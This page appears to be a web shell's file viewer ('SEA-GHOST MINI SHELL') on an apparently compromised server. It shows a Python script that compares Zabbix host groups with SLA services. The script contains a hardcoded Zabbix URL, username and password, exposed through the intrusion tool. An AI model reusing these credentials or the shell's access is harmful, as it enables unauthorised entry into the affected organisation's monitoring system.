[ SEA-GHOST MINI SHELL]

Path : /proc/3/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/3/cwd/var/lib/zabbix/api_host_in_sla.py

#!/usr/bin/python
import sys
import json
import re
from pyzabbix.api import ZabbixAPI

# Two empty lists for future use
list_of_names_in_group = []
list_of_names_in_sla = []

# Arguments
GROUPID = sys.argv[1]
SLA_ID_GROUP = sys.argv[2]
TYPE = sys.argv[3]

#Requesting token for authorization on zabbix api. Change credentials and url before use.
zapi = ZabbixAPI('https://zabbix.au.ds.network', user='monitoring-ldap-read', password='asd@#4sd3S#s3S!d56')

# Get names from specific group

groups_raw_output = zapi.do_request('host.get',{'filter': {'status': 0},'output': 'extend', 'groupids': GROUPID})

# Left only data in field "result"
get_host_names = groups_raw_output.get("result")

# Loop will get only hostnames
for item in get_host_names:
    list_of_names_in_group.append(item["name"])

# Get names from specific SLA group

sla_raw_output = zapi.do_request('service.get',{'parentids':SLA_ID_GROUP,"selectDependencies": "extend"})

# Left only data in field "result"
get_sla_names = sla_raw_output.get("result")

# Loop will catch only names
for item in get_sla_names:
    list_of_names_in_sla.append(item["name"])

# Compare two list

# First function "Check_in_sla" will check if host exist in Group but not in SLA
if TYPE == "sla":
    def Check_in_sla(list_of_names_in_group, list_of_names_in_sla): 
        not_in_sla = list(set(list_of_names_in_group) - set(list_of_names_in_sla))
        if not_in_sla == []:
            return ['None']
        else:
            # exclude *development* from output
            return ([x for x in not_in_sla if re.findall(r'\bdevelopment',x) == []])
  
    not_in_sla = Check_in_sla(list_of_names_in_group, list_of_names_in_sla)
    format_in_str = ', '.join(not_in_sla)
    print(format_in_str)

# Second function "Check_in_group" check if host still in SLA but not exist in groups
# by another words - host already not in monitoring
elif TYPE == "group":
    def Check_in_group(list_of_names_in_group, list_of_names_in_sla): 
        not_in_group = [i for i in list_of_names_in_group + list_of_names_in_sla if i not in list_of_names_in_group]
        if not_in_group == []:
            # if all hosts in SLA presented in Group
            return ['None']
        else:
            return not_in_group
    
    not_in_group = Check_in_group(list_of_names_in_group, list_of_names_in_sla)
    format_in_str = ', '.join(not_in_group)
    print(format_in_str)
else:
    print("Wrong type value received")


SEA-GHOST - SHELL CODING BY SEA-GHOST